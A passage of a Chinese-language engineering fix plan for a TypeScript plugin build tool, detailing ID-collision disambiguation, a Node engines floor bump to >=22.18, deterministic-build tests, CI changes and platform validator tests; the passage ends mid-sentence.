scan.skills(:1352)/scan.commands(:1354)/scan.agents(:1356),mcp for scan.mcp.servers(:1373)。 - -**具体改动:** - -1) 新增确定性排序 helper(纯函数,置于 index.ts safeId 附近): -``` -// 稳定 kebab 键;localeCompare 'en' 与文件已有排序一致 -function byStableKey(items: readonly T[], key: (x: T) => string): T[] { - return [...items].sort((a, b) => key(a).localeCompare(key(b), 'en')); -} -``` -2) 新增 per-kind 消歧器(纯,无副作用,只吃已冻结输入): -``` -/** 在给定已用集合内为 base 生成确定性唯一 id;返回 {id, disambiguated}。 */ -function claimId(used: Set, base: string): { id: string; disambiguated: boolean } { - if (!used.has(base)) { used.add(base); return { id: base, disambiguated: false }; } - for (let n = 2; ; n++) { // -2, -3, ... - const candidate = `${base}-${n}`; - if (!used.has(candidate)) { used.add(candidate); return { id: candidate, disambiguated: true }; } - } -} -``` -3) 在 writeCanonicalProject(:1339)开头建立 per-kind 集合: -``` -const usedIds = { skill: new Set(), command: new Set(), agent: new Set(), mcp: new Set() }; -``` -4) migrate* 函数签名各加一个 `used: Set` 形参,内部把 `const id = safeId(x)` 改为: -``` -const base = safeId(skill.dirName); // 或 command.name / agent.fileName / server.name -const { id, disambiguated } = claimId(used, base); -``` - 并在 name 字段 reportField 处把 mapped/degraded 判定改为:原判定 && !disambiguated,degraded 原因追加稳定文案。示例(migrateSkill name,:323): -``` -const clean = ID_PATTERN.test(skill.dirName); -reportField(fields, 'name', source, clean && !disambiguated ? 'mapped' : 'degraded', - disambiguated - ? 'Canonical Skill ID collided with an earlier resource and was disambiguated with a numeric suffix.' - : clean ? 'Directory identity maps directly to the canonical Skill ID.' - : 'Skill identity required lowercase kebab-case normalization.'); -``` - command(:483)、agent(:636)、mcp 两处(安全 :1386 / 未映射 :1403)同款改造。 -5) 在 writeCanonicalProject 内把扫描集合排序后再遍历,消除 readdir 非确定性,并保证消歧顺序稳定: -``` -for (const skill of byStableKey(scan.skills, s => s.dirName)) - writes.push(...migrateSkill(skill, scan.rootDir, outputRoot, items, usedIds.skill)); -for (const command of byStableKey(scan.commands, c => c.name)) - writes.push(migrateCommand(command, scan.rootDir, outputRoot, items, usedIds.command)); -for (const agent of byStableKey(scan.agents, a => a.fileName)) - writes.push(migrateAgent(agent, scan.rootDir, outputRoot, items, usedIds.agent)); -``` - mcp for 循环(:1373)排序: `for (const server of byStableKey(scan.mcp?.servers ?? [], s => s.name))`,并把 usedIds.mcp 传入两个分支的 id 计算。 - 注意排序键用消歧前的 legacy 名(dirName/name/fileName/server.name),使先出现者(字典序小)保留 base id,确定且可预测。 -6) --all workspace 目录消歧(:1591-1612): 在 for 循环前建立 `const usedProjectDirs = new Set();`,把 selected 先排序 `for (const plugin of byStableKey(selected, p => p.meta.name))`,循环内: -``` -const { id, disambiguated } = claimId(usedProjectDirs, safeId(plugin.meta.name)); -``` - disambiguated 时在该 plugin 的 metadata item 上补一条字段级 degraded(或在现有 name 字段 reason 说明目录消歧)。projectRoot=path.join(stage,id) 与 projects.push(id) 复用同一 id,保证目录与 workspace 成员一致且无覆盖。 - -**边界与连带:** 确定性: 必须先排序 scan 集合再消歧,否则 readdir 顺序决定谁拿 base id,违反 §18(fs.ts:55-77 未排序是根因)。排序键统一 localeCompare('en'),与文件既有排序风格(:461,:854,:909,:1170,:1231,:1391...)一致。跨 kind 不共享集合(skill 与 agent 同名不冲突,落到不同目录),正确;但 skill 与 mcp 都建 src// 目录——不同 kind 前缀路径不同,无需合并集合。requires 引用重写: 迁移产物从不发出 requires 字段(已核实 index.ts 写入处只有 description/invocation/model/capabilities/platforms),故不存在悬空规范依赖需要重写;唯一 cross-ref 是 platforms['claude-code'].agent(skill,:384)与 platforms['claude-code'].skills(agent,:686),它们是 Claude Code 平台透传字符串、指向 legacy 名而非迁移后 id,无法保证一一对应,重写会引入错误猜测——明确列为非目标,不改。连带: migrate* 增加形参,唯一调用点在 writeCanonicalProject(:1352-1356,:1373),同步改;mcp id 现算两次(安全/未映射分支),消歧要在分支外先 claimId 一次再进入 if(source),避免同一 server 占两个 id。migrationItem 的 outcome 由字段最差值推导(:191-196),把 name 标 degraded 即自动使整条 item 至少 degraded,无需另改 outcome 逻辑。--all 目录消歧后 pnpm-workspace.yaml(:1612)自动使用去重后的 projects,正确。 - -**测试:** 文件: packages/test/test/migration.test.ts 新增用例。 -用例1 'disambiguates colliding canonical IDs deterministically': 动态建 legacy project,两个 skill 目录 'my-skill' 与 'My Skill'(都 -> my-skill),迁移后断言: 存在 src/skills/my-skill/SKILL.md 与 src/skills/my-skill-2/SKILL.md(fs.access);report.items 含两条 kind:'skill',其中 id:'my-skill-2' 的 name 字段 outcome:'degraded' 且 reason 含 'disambiguated';两条都不得为 migrated 谎报(至少改名那条是 degraded)。运行两次(或对同一 fixture 两次 migrate 到不同 destination)断言 items 中 id 集合一致,验证确定性。 -用例2 'disambiguates colliding workspace member directories': marketplace 两 plugin name 'Tools' 与 'tools'(都 -> tools),all:true,断言 report.projects 为 ['tools','tools-2'](有序、去重),且 src 两成员目录都存在、第一个未被覆盖(各自 skill 文件都在)。 -用例3(可加固)'command/agent/mcp ID collisions are disambiguated not overwritten': 两个 command 文件名归一化同 id,断言两文件都写出且报告两条 item。 -断言骨架示例: -``` -expect(report.items.filter(i => i.kind === 'skill').map(i => i.id).sort()).toEqual(['my-skill', 'my-skill-2']); -await fs.access(path.join(root, 'migrated/src/skills/my-skill-2/SKILL.md')); -expect(report.items.find(i => i.id === 'my-skill-2')?.fields.find(f => f.field === 'name')?.outcome).toBe('degraded'); -``` -复用现有 afterEach 清理与 legacyProjectFixture 之外的动态 mkdtemp 模式(见现有用例 :203+)。 - -**验收:** 同一 kind 内规范 ID 冲突不再静默覆盖文件:每个冲突资源各自落盘且报告各有一条 item;落败/改名资源 name 字段为 degraded 且 reason 稳定说明消歧,整条 item outcome 不为 migrated。--all 下同名 workspace 目录得到 -2/-3 后缀、无覆盖,projects 有序且去重。迁移产物不发出任何 requires,故无悬空依赖;cross-ref 透传字符串保持不变。相同输入两次迁移产生字节一致的 report 与产物(排序保证)。现有全部 migration 测试仍通过。 - -**工作量:** M | **独立分支:** 是 | **风险:** 现有测试有对具体 id 的硬编码断言(如 kind:'skill' id:'hello'、id:'docs'、id:'review'),排序改动不改单资源 id,应不受影响;但需跑全套确认无顺序相关的隐式断言。selected(--all)现按 marketplace 清单顺序,改为按 name 排序会改变 projects 顺序——现有用例 :106 断言 projects:['first-plugin','second-plugin'] 恰好也是字典序,通过;需确认无其他依赖清单原序的断言(P9 已把清单原序标为 unmapped 记录,不受影响)。 - - ---- - -### P5 · Node 开发 floor engines.node >=20 → >=22.18(保留 tsdown target:node20 与 Node20 产物描述) - -**决策:** 把开发/运行 Node floor 从 >=20 提到 >=22.18,仅改决策点名的 4 处 engines.node + 规范§4.1 + AGENTS.md:14;所有 tsdown target:'node20' 与文档里描述『产物运行目标 Node 20 ESM』的文字一律不动。 - -**现状(锚点):** 已 Read 确认真实行号。engines.node:'>=20' 全仓共 12 处,决策点名 4 处: -- packages/acplugin/package.json:11 → `"engines": { "node": ">=20" },`(单行) -- packages/core/package.json:6-8 → 多行 `"engines": {\n "node": ">=20"\n },` -- packages/test/package.json:6 → `"engines": { "node": ">=20" },`(单行) -- package.json:7-9(根) → 多行 `"engines": {\n "node": ">=20"\n },` -决策点名的两处文档 sync: -- .llmdoc-tmp/specs/tokenroll-acplugin-1.0-spec.md:57 → `- Node.js:`>=20`。`(§4.1 工具链,全角冒号/句号) -- AGENTS.md:14 → `- TypeScript 7、Node.js >=20、ESM-only;Package 的 `tsc` 来自 catalog 中的 `@typescript/native`` -保留项(已核实,不改):10 个 tsdown.config.ts 全部 target:'node20'(acplugin:18、core、6 平台、hooks:8、mcp:11);产物运行目标描述 spec §899/§971、llmdoc/architecture/system.md:71/73(+zh)、conversion-matrix.md:47(+zh)、README.md:234/281(+zh:232/267)均写『Node 20 ESM』handler/server,是产物 floor 不是开发 floor。 - -**具体改动:** - -6 处逐字替换(diff): - -# packages/acplugin/package.json:11 -- "engines": { "node": ">=20" }, -+ "engines": { "node": ">=22.18" }, - -# packages/core/package.json:6-8 - "engines": { -- "node": ">=20" -+ "node": ">=22.18" - }, - -# packages/test/package.json:6 -- "engines": { "node": ">=20" }, -+ "engines": { "node": ">=22.18" }, - -# package.json(根):7-9 - "engines": { -- "node": ">=20" -+ "node": ">=22.18" - }, - -# .llmdoc-tmp/specs/tokenroll-acplugin-1.0-spec.md:57 --- Node.js:`>=20`。 -+- Node.js:`>=22.18`。 - -# AGENTS.md:14 --- TypeScript 7、Node.js >=20、ESM-only;… -+- TypeScript 7、Node.js >=22.18、ESM-only;… - -注:`>=22.18` 与 `>=22.18.0` semver 等价,按决策原文用 `>=22.18`。 - -**边界与连带:** 1) 决策只点名 4 处,但另有 8 处 engines.node 也是 '>=20':6 个私有平台(claude-code:6/cursor:6/codex:7/pi:6/antigravity:6/opencode:6)+ 2 个【公开】扩展(extensions/hooks/package.json:11、extensions/mcp/package.json:11)。hooks/mcp 与 acplugin 同属 Changesets fixed 发布组,若 acplugin 声明 >=22.18 而两扩展仍 >=20,发到 npm 的 engines 不一致 —— 需 decider 确认是『只改 4 处』还是『12 处一起』。本方案按决策先落 4 处并显式挂起其余 8 处。 -2) CI 低于新 floor:.github/workflows/patch.yml:45 与 check.yml:18 均 `node-version: 20`,声明 floor 提到 22.18 后 CI 反而跑在不受支持版本上;建议同步改 22(超出决策 4 处范围,挂起待确认)。 -3) catalog `@types/node: ^20.19.0`(pnpm-workspace.yaml:11 附近)是 Node 20 API 类型;不阻塞,可选升 ^22,挂起。 -4) 反向护栏(最易踩):禁止全局 sed 把『Node 20』替换掉 —— tsdown target:'node20' 和所有『Node 20 ESM』产物描述必须原样保留,它们是生成的 handler/server 运行目标,与开发 floor 是两回事。 -5) 决策未点名但语义同为开发 floor 的其它文档(README.md:11+zh:11、llmdoc/startup.md:7、state/sync.md:6、overview/project.md:27+zh:27、guides/usage.md:5+zh:5 皆『Node.js 20 or newer / >=20』)一致性上也应改 22.18,但不在决策命名集内,挂起待确认。 -6) 确定性:engines 纯 manifest 元数据,不进任何产物字节,无 timestamp/路径风险。 - -**测试:** 无需新增 Vitest(manifest 字段无运行时行为)。验证即断言: -- `grep -R '"node"' packages/{acplugin,core,test}/package.json package.json` 全部显示 `>=22.18`。 -- `pnpm -w run build && pnpm -w run typecheck && pnpm run release:verify` 全绿(release:verify 会 pack 三公开包并在干净 consumer 里装,顺带覆盖 manifest)。 -- 反向断言:`grep -Rn "target: 'node20'" packages/**/tsdown.config.ts | wc -l` 仍为 10;`grep -Rn 'Node 20 ESM' README.md llmdoc` 计数不变。 - -**验收:** 4 处 engines 显示 >=22.18;spec§4.1+AGENTS.md:14 同步;10 个 tsdown target:node20 与所有『Node 20 ESM』产物文字未变;pnpm check/typecheck/build/release:verify 全绿;git diff 只含 engines 与两处文档 floor 文本。 - -**工作量:** S | **独立分支:** 否 | **风险:** 唯一悬而未决:公开扩展 hooks/mcp 是否随 acplugin 一起提 22.18(发布组 engines 一致性)。建议连同 CI node-version 一并向 decider 确认后要么全改 12 处+CI,要么明确接受只改 4 处。 - - ---- - -### P6 · 端到端护栏:同 fixture 重复构建字节相等 + env 无关性(含 platform id 子串的 env-like map) - -**决策:** 在 packages/test/test/build.test.ts 新增 2 个用例(同一 describe):(a) 同 fixture build 两次,断言每个 artifact 的 SHA-256 + serializeBuildResult(--json 报告)完全字节相等(§19.2.8);(b) 用含 platform id/版本号子串的 env-like map(如 {FOO:'claude', BAR:'1.0.0'})跑一遍,断言 platform id/artifact path/文本完好,锁死 P1 不回归。 - -**现状(锚点):** packages/test/test/build.test.ts:16-28 已有 project() fixture 工厂(mkdtemp 到 os.tmpdir + 写 src/skills/hello/SKILL.md + acplugin.config.ts),:30-32 afterEach 统一 rm。:34-58 已有 runProject build 用例并读取 dist 产物,证明 build+commit 路径可用。BuildResult 已直接暴露 `deliveryUnits[].artifacts[]` = `{path,owner,mode,size,sha256}`(lifecycle.ts:199-205 deliveryUnitReports),故拿 hash 无需重新读文件哈希——直接读 result。序列化用 packages/acplugin 导出的 serializeBuildResult(index.ts:39 re-export core;build.test.ts 从 '@tokenroll/acplugin' 导入)。runProject/executeProject(run-project.ts:14-22 RunProjectOptions)不暴露 environment 入口——生产走 process.env(P1 后已不进报告);故 env 无关性测试须在测试内临时改 process.env 包裹调用。 - -**具体改动:** - -packages/test/test/build.test.ts: -- import 增补:`serializeBuildResult`、`claudeCode`(platform id 断言用其 .id;codex 已 import)。从 '@tokenroll/acplugin' 导入(index.ts 已 re-export serializeBuildResult:39 与各 platform 工厂)。 - -用例 (a) 重复构建字节相等: -```ts -it('produces byte-identical artifacts and JSON report across repeated builds', async () => { - const rootA = await project(); - const rootB = await project(); // 各自独立 fixture,排除 outDir 复用干扰 - const first = await runProject({ cwd: rootA, command: 'build', mode: 'production', commit: true }); - const second = await runProject({ cwd: rootB, command: 'build', mode: 'production', commit: true }); - // 每个 artifact 的 sha256 相等(按稳定顺序,report 已确定性排序) - const hashes = (r) => r.deliveryUnits.flatMap(u => u.artifacts.map(a => `${u.platform}/${u.id}/${a.path}:${a.sha256}`)); - expect(hashes(first)).toEqual(hashes(second)); - // --json 报告整篇字节相等(§19.2.8)。两 fixture root 不同,但报告已剥绝对路径→应完全一致 - expect(serializeBuildResult(first)).toBe(serializeBuildResult(second)); -}); -``` -ponytail: 用两个独立 fixture 而非同 root 连跑两次,避免第二次 build 受既存 dist 影响、也顺带验证 root 路径不泄漏进报告。 - -用例 (b) env 无关性(P1 回归锁): -```ts -it('keeps platform ids, paths, and text intact regardless of environment values', async () => { - const root = await project(); - const saved = process.env; - // env-like map 的值故意含 platform id / 版本号子串 - process.env = { ...saved, FOO: 'claude', BAR: '1.0.0', BAZ: 'codex', QUX: 'plugin' }; - try { - const result = await runProject({ cwd: root, command: 'build', mode: 'production', commit: true }); - const json = serializeBuildResult(result); - expect(result.platforms).toEqual(expect.arrayContaining([claudeCode().id, codex().id])); - // platform id / artifact path 未被 env 子串剪除 - expect(json).toContain('claude-code'); - expect(json).toContain('codex'); - const paths = result.deliveryUnits.flatMap(u => u.artifacts.map(a => a.path)); - expect(paths).toContain('.claude-plugin/plugin.json'); - expect(paths.some(p => p.includes('plugin.json'))).toBe(true); - expect(json).not.toContain(''); - } finally { - process.env = saved; - } -}); -``` -ponytail: 不加 runProject 的 env 入口(YAGNI)——生产本就读 process.env,直接包裹 process.env 即真实复现 P1 场景。 - -**边界与连带:** 1) 放包选择:必须在 packages/test(集成层,依赖 @tokenroll/acplugin 主包,能跑真实 runProject+commit+读产物);不放 core(core 无 runProject/无 platform 工厂,只能测 create/serializeBuildResult 单元,拿不到端到端 artifact)。 2) 可重复 fixture:复用现有 project() mkdtemp——两个独立 root 保证互不干扰;afterEach 已登记清理(splice 逻辑,新 root push 进 roots 即自动清)。 3) 两次 build 的报告为何应字节相等:report 已剥绝对路径(roots→)、无 timestamp、artifact 排序确定;两 fixture 内容字节相同→sha256 相同→JSON 相同。若不等,即暴露非确定性(真 bug),正是护栏目的。 4) env map 值含子串是关键:'claude'⊂'claude-code','1.0.0'=config version 子串,'plugin'⊂路径——P1 前会被 environmentValues 剪成 破坏 id/path;P1 后完好。用例 (b) 是 P1 的红/绿护栏。 5) process.env 改写必须 try/finally 还原,且用例间 vitest 默认隔离;build.test.ts 现有 describe 非 sequential——process.env 改写会污染并发用例。缓解:给该 it 或整个新增部分用 `describe.sequential` 或把 (b) 放独立 `describe.sequential`,避免与并发用例竞争 process.env。ponytail: 最省是把 (b) 单独包一个 `describe.sequential('environment independence', ...)`。 6) commit:true 会写 dist,afterEach rm root 连带清 dist,无残留。 - -**测试:** 本项本身即测试。新增文件:无(就地加进 packages/test/test/build.test.ts 的 `describe('unified pipeline')` 内,(b) 建议独立 describe.sequential)。断言清单: -- (a) hashes(first) deepEqual hashes(second);serializeBuildResult(first) === serializeBuildResult(second)。 -- (b) result.platforms 含 claude-code+codex;json 含 'claude-code'/'codex' 字面;artifact path 含 'plugin.json' 类;json 不含 ''。 -关键骨架已在 changes 给出。无需 mock,无需新 fixture 装置。 - -**验收:** 1) `pnpm --filter @tokenroll/acplugin test`(或 packages/test 的 vitest)两新用例绿。 2) 把 P1 改动 revert 后,用例 (b) 必须变红(env 值 'claude'/'plugin' 被 剪除导致 id/path 断言失败或 json 含 '')——证明它真锁住回归;确认后再保留 P1。 3) 用例 (a) 在当前 main 上应已绿(若红说明既有非确定性,需先查);与 P1 无耦合。 4) 不引入 timestamp/绝对路径/随机依赖(fixture 用 mkdtemp 但报告已剥路径,故两 root 报告仍相等)。 - -**工作量:** S | **独立分支:** 否 | **风险:** low-medium。风险点:(i) process.env 改写与并发用例竞争——用 describe.sequential 隔离(已在 edgeCases 给方案)。(ii) 若用例 (a) 在 main 上意外变红,说明存在预先未知的非确定性(如 artifact 顺序、mode、size 依赖机器),需先定位——但这正是护栏应捕获的,非本组代码风险。(iii) serializeBuildResult 字节相等依赖两 fixture 内容完全一致(project() 无参默认写死同内容,满足)。P1 与 P6 建议同一分支提交(P6 是 P1 的护栏,revert 验证需二者在同一 diff 上演示)。 - - ---- -## P4 · CI 加 test+build,发布分支加 release:verify(纯 YAML,属 S1) - -**决策:** PR CI 加 `pnpm test` + `pnpm build`;新增 job 在发布分支/tag 跑 `release:verify`。纯 workflow YAML 改动,不在源码设计 agent 范围,方案已在 `review-fix-plan.md` 定稿。 - -**具体改动:** -- `.github/workflows/check.yml`:在 `lint` / `typecheck` 后追加 `- run: pnpm run test` 与 `- run: pnpm run build`(或合并为 `- run: pnpm run check`,其定义已是 `lint && typecheck && test && build`)。 -- 新增 job(`if: startsWith(github.ref,'refs/tags/')` 或发布分支触发)跑 `- run: pnpm run release:verify`(tarball/publint/attw/private-dep-leak/clean-consumer/Pi-pack,§19.1.12)。快路径(PR)与重验收(发布)分离。 - -**验收:** 破坏测试或破坏构建的 PR 变红;release:verify 在 publish 前自动 gate。**工作量:** S | **独立分支:** 否。 - ---- -## S2 — 正确性 / 确定性 / 工程化 - -### P7 · 二级平台共享 fixture + 完整兼容矩阵 + validator 拒绝分支断言 - -**决策:** 在四个平台各自的 test/platform.test.ts 内新增两个 describe 块:(A) 用同一份 skills-only 语义 fixture(user:false skill + argumentHint command + capable + write/shell agent)以 strict:false 跑 executeLifecycle,对 result.compatibility 断言精确 CompatibilityEntry 集合(toEqual 排序后数组);(B) 用 DeliveryUnitRegistry + withMaterializedDeliveryUnitCandidate 直接调用各平台导出的 validate*Bundle,喂入手工构造的畸形候选,断言其独占错误码(CURSOR_MANIFEST_FIELD_UNKNOWN/CURSOR_MANIFEST_REFERENCE_MISSING、PI_PACKAGE_WORKSPACE_LEAK、ANTIGRAVITY_UNDOCUMENTED_RESOURCE、OPENCODE_CONFIG_FIELD_UNKNOWN)。fixture 不做成跨包共享文件,每包内放一个 ~15 行本地 createSharedFixture(),因为四平台产物与断言各不相同,且 validator 未公开导出、只能包内深导入。 - -**现状(锚点):** 四平台已各有 test/platform.test.ts,但只做 happy-path golden/schema 断言,均未断言 compatibility 集合,也未覆盖 validator 拒绝分支。锚点: -- packages/platforms/cursor/test/platform.test.ts:87-117(仅 schema+golden+工厂拒绝) -- packages/platforms/antigravity/test/platform.test.ts:51-76(仅最小 manifest golden) -- packages/platforms/opencode/test/platform.test.ts:45-97(config+发现目录) -- packages/platforms/pi/test/platform.test.ts:72-113(pnpm pack/install) -跨平台集成测试 packages/test/test/secondary-platforms.test.ts:270-275 只用 expect.arrayContaining 抽查 4 条 compat,非精确集合,且经子进程+真实 dist,无法深导入 validator。 -关键事实:①resolveConfig 默认 strict=true(packages/core/src/config.ts:427);diagnostics.ts:485-505 applyCompatibilityStrictness 把任何 degraded/unsupported 在 strict 下升级为 COMPATIBILITY_STRICT error → build 失败。故 fixture 必须传 strict:false 才能 result.success===true 且拿到完整 compat 列表。②compat 无 requires 边 → 无依赖传播(lifecycle.ts:177-185、diagnostics.ts:346-409),result.compatibility 就是各平台 generateComponentArtifacts 内 reportCompatibility 直接调用集合。③result.compatibility 排序键:platform→subject→capability→level→reason(diagnostics.ts:201-218)。④validate*Bundle 已从各自 validator.ts 导出(cursor/validator.ts:115、pi/validator.ts:72、opencode/validator.ts:38、antigravity/validator.ts:22),但 index.ts 未再导出 → 测试须 import ../src/validator.js。⑤codex 测试已示范该模式(packages/platforms/codex/test/platform.test.ts:365-440):new DeliveryUnitRegistry(new Map())→ units.add(platform.id,{id,role:'primary',type,...,artifacts:[bytesArtifact(...)]}) → withMaterializedDeliveryUnitCandidate(unit,cb,root),cb 内构造 {command,mode,candidate,reportDiagnostic} 调 validateBundle。DeliveryUnitRegistry/withMaterializedDeliveryUnitCandidate/bytesArtifact/stableJson 均从 @acplugin/core 导出。 - -**具体改动:** - -共享 fixture 语义(每包本地实现,frontmatter 精确): - src/commands/release.md: `---\ndescription: Prepare a release.\nargumentHint: \n---\nPrepare release {{arguments}}.\n` - src/skills/review/SKILL.md: `---\ndescription: Review a change.\ninvocation:\n user: false\n---\nReview the change.\n` (scanner.ts:776 → user=false,model=true) - src/agents/reviewer.md: `---\ndescription: Review code.\nmodel: capable\ncapabilities:\n - filesystem:write\n - shell\n---\nReview code.\n` - -(A) 每包新增 it('emits the full field-level compatibility matrix'): - const root=await createSharedFixture(); - const result=await executeLifecycle({config: relaxedConfig(root), loadTypeScriptModule: async()=>undefined, environment:{}}); - expect(result.success).toBe(true); - expect(result.compatibility).toEqual(EXPECTED); // 已按 subject→capability→level 手排,见下 -relaxedConfig 复用各包现有 resolvedConfig 但传对应 factory({strict:false})(cursor/opencode/pi 现有 resolvedConfig 需加 strict:false 变体;antigravity 无 options 只有 strict → antigravity({strict:false}))。 - -各平台 EXPECTED(全部含 platform 字段;下列按最终排序列 subject/capability/level;transformation/reason 用 expect.objectContaining 省略自由文本或按源码精确串比对): -• cursor(components.ts:48-135)7 条,degraded 4: - agent:reviewer|agent.capabilities|degraded; agent:reviewer|agent.model|degraded; agent:reviewer|component|native; command:release|argumentHint|degraded; command:release|component|native; skill:review|component|native; skill:review|invocation.user|degraded -• antigravity(components.ts:86-183)7 条: - agent:reviewer|agent.capabilities|degraded; agent:reviewer|agent.model|degraded; agent:reviewer|component|degraded; command:release|argumentHint|degraded; command:release|component|transform; skill:review|component|native; skill:review|invocation|degraded -• opencode(components.ts:79-165)7 条: - agent:reviewer|agent.capabilities|transform; agent:reviewer|agent.model|degraded; agent:reviewer|component|native; command:release|argumentHint|degraded; command:release|component|native; skill:review|component|native; skill:review|invocation|degraded -• pi(components.ts:85-179)7 条(注意 argumentHint 是 native、command component 是 transform): - agent:reviewer|agent.capabilities|degraded; agent:reviewer|agent.model|degraded; agent:reviewer|component|degraded; command:release|argumentHint|native; command:release|component|transform; skill:review|component|native; skill:review|invocation|degraded - -(B) 每包新增 it('rejects a malformed candidate at the final validate boundary'): - const registry=new DeliveryUnitRegistry(new Map()); - const diagnostics: DiagnosticInput[]=[]; - const unit=await registry.add(().id, { id:, role:'primary', type:, artifacts:[ ...crafted bytesArtifact... ] }); - await withMaterializedDeliveryUnitCandidate(unit, candidate=>validateBundle({command:'build',mode:'production',candidate,reportDiagnostic:d=>diagnostics.push(d)}), root); - expect(diagnostics.map(d=>d.code)).toContain(''); -畸形候选构造(每平台至少覆盖其独占码): -• cursor(id:'plugin',type:'plugin',path '.cursor-plugin/plugin.json'): 写 {name:'x',version:'1.0.0',description:'d',bogus:true,commands:'./commands/*.md'} 且不产出任何 commands/ artifact → 断言 toContain 同时含 'CURSOR_MANIFEST_FIELD_UNKNOWN'(validator.ts:131-133)与 'CURSOR_MANIFEST_REFERENCE_MISSING'(:105-106)。 -• antigravity(id:'plugin',type:'plugin'): plugin.json={name:'x'} 有效,但追加 bytesArtifact('commands/release.md','x') → 断言含 'ANTIGRAVITY_UNDOCUMENTED_RESOURCE'(validator.ts:50-51)。 -• opencode(id:'workspace',type:'workspace',path 'opencode.json'): 写 {$schema:'...',bogus:1} → 断言含 'OPENCODE_CONFIG_FIELD_UNKNOWN'(validator.ts:56-58)。 -• pi(id:'package',type:'package',path 'package.json'): 写含 private:true / workspaces:['x'] 的对象(其余字段用合法 name/version/description/type/keywords:['pi-package']/pi:{}) → 断言含 'PI_PACKAGE_WORKSPACE_LEAK'(validator.ts:92-93)。 - -**边界与连带:** ①确定性:fixture 内容与 strict:false 固定,compat 由 result.compatibility 已确定性排序,toEqual 用手排数组即可;不得依赖遍历顺序。②strict 陷阱:忘记 strict:false 会让 (A) result.success===false 且 compat 仍在(compat 收集独立于 strictness),但断言语义会误导 → 必须显式 strict:false。③antigravity 工厂 options 仅 {strict}(manifest.ts:30-39),relaxedConfig 用 antigravity({strict:false}) 且 resolveConfig 的 build 也可留默认;pi/opencode/cursor 现有 resolvedConfig 传了 workspace/package/marketplace 等选项,写 relaxed 变体时保留这些选项只追加 strict:false。④validator(B) 的 toContain 而非 toEqual:pi 的 private/workspaces 也会触发 PI_PACKAGE_FIELD_UNKNOWN(validator.ts:88-90),cursor bogus 字段亦然 → 用 expect(codes).toContain(独占码),勿断言精确集合。⑤withMaterializedDeliveryUnitCandidate 会在 validate 返回后复核 artifact 完整性(transaction.ts:203-204),validator 只读不改文件 → 安全;传 temporaryParent=root 复用已 mkdtemp 的目录(codex 测试同款)。⑥DeliveryUnitRegistry.add 会校验路径/owner/hash,crafted artifacts 全用 bytesArtifact(内存源)→ 无需 ArtifactSourcePolicies,new Map() 足够。⑦opencode workspace validator 对空 opencode.json 会 early-return(:48-49);(B) 必须写非空对象才走到字段检查。⑧antigravity/pi validator 在 manifest 读失败时 early-return 不同码 → crafted manifest 必须是合法 JSON 对象。⑨连带:不改任何 src;若未来 components.ts 增删 reportCompatibility,EXPECTED 需同步——在测试注释标注锚点 file:line 便于维护。⑩不动 packages/test/secondary-platforms.test.ts(它是真实 dist 集成层,职责不同)。 - -**测试:** 修改文件(不新建共享文件): -- packages/platforms/cursor/test/platform.test.ts:加 import { DeliveryUnitRegistry, bytesArtifact, stableJson, withMaterializedDeliveryUnitCandidate, type DiagnosticInput } from '@acplugin/core'; import { validateCursorBundle } from '../src/validator.js'; import { PLUGIN_MANIFEST_PATH } from '../src/manifest.js'; 新增 createSharedFixture()+relaxedConfig()+两个 it。 -- packages/platforms/antigravity/test/platform.test.ts:同上,import { validateAntigravityBundle } from '../src/validator.js'; { PLUGIN_MANIFEST_PATH } from '../src/manifest.js'。 -- packages/platforms/opencode/test/platform.test.ts:import { validateOpenCodeBundle } from '../src/validator.js'; { WORKSPACE_CONFIG_PATH } from '../src/config-document.js'。 -- packages/platforms/pi/test/platform.test.ts:import { validatePiBundle } from '../src/validator.js'; { PACKAGE_MANIFEST_PATH } from '../src/manifest.js'。 -断言骨架(cursor 为例): - it('emits the full field-level compatibility matrix', async()=>{ - const root=await createSharedFixture(); - const result=await executeLifecycle({config:relaxedConfig(root),loadTypeScriptModule:async()=>undefined,environment:{}}); - expect(result.success).toBe(true); - expect(result.compatibility).toEqual([ - expect.objectContaining({platform:'cursor',subject:'agent:reviewer',capability:'agent.capabilities',level:'degraded'}), - expect.objectContaining({platform:'cursor',subject:'agent:reviewer',capability:'agent.model',level:'degraded'}), - expect.objectContaining({platform:'cursor',subject:'agent:reviewer',capability:'component',level:'native'}), - expect.objectContaining({platform:'cursor',subject:'command:release',capability:'argumentHint',level:'degraded'}), - expect.objectContaining({platform:'cursor',subject:'command:release',capability:'component',level:'native'}), - expect.objectContaining({platform:'cursor',subject:'skill:review',capability:'component',level:'native'}), - expect.objectContaining({platform:'cursor',subject:'skill:review',capability:'invocation.user',level:'degraded'}), - ]); - }); - it('rejects a malformed candidate at the final validate boundary', async()=>{ - const root=await createSharedFixture(); - const registry=new DeliveryUnitRegistry(new Map()); - const diagnostics: DiagnosticInput[]=[]; - const unit=await registry.add(cursor().id,{id:'plugin',role:'primary',type:'plugin',artifacts:[ - bytesArtifact(PLUGIN_MANIFEST_PATH,stableJson({name:'x',version:'1.0.0',description:'d',bogus:true,commands:'./commands/*.md'})), - ]}); - await withMaterializedDeliveryUnitCandidate(unit,candidate=>validateCursorBundle({command:'build',mode:'production',candidate,reportDiagnostic:d=>diagnostics.push(d)}),root); - const codes=diagnostics.map(d=>d.code); - expect(codes).toContain('CURSOR_MANIFEST_FIELD_UNKNOWN'); - expect(codes).toContain('CURSOR_MANIFEST_REFERENCE_MISSING'); - }); -其余三平台镜像替换 factory/id/type/path/crafted-manifest/独占码(见 changes B)。可选:用 it.each 遍历 4 条 degraded 子集降低维护成本,但精确 toEqual 集合更能锁死回归,优先精确集合。 - -**验收:** ①pnpm --filter @acplugin/platform-cursor|-antigravity|-opencode|-pi run test 全绿(pretest 会先 build core)。②四个 (A) 用例 result.compatibility 精确等于上列 7 条集合(顺序无关用 arrayContaining 需额外断言 length===7;推荐 toEqual 排序数组直接锁顺序)。③四个 (B) 用例各自 codes.toContain 对应独占码:cursor 含 CURSOR_MANIFEST_FIELD_UNKNOWN+CURSOR_MANIFEST_REFERENCE_MISSING、antigravity 含 ANTIGRAVITY_UNDOCUMENTED_RESOURCE、opencode 含 OPENCODE_CONFIG_FIELD_UNKNOWN、pi 含 PI_PACKAGE_WORKSPACE_LEAK。④pnpm -r typecheck 通过(注意 exactOptionalPropertyTypes:各平台 tsconfig 继承 base,构造 DiagnosticInput/ctx 时字段齐全)。⑤重复运行两次 compat 与 diagnostics 字节稳定(无 timestamp/绝对路径:validator 消息已无宿主路径)。 - -**工作量:** M | **独立分支:** 是 | **风险:** ①EXPECTED 是从 components.ts 静态推导(无依赖传播、strict:false),若我对 isReadOnly([filesystem:write,shell])=false 的判断或某条 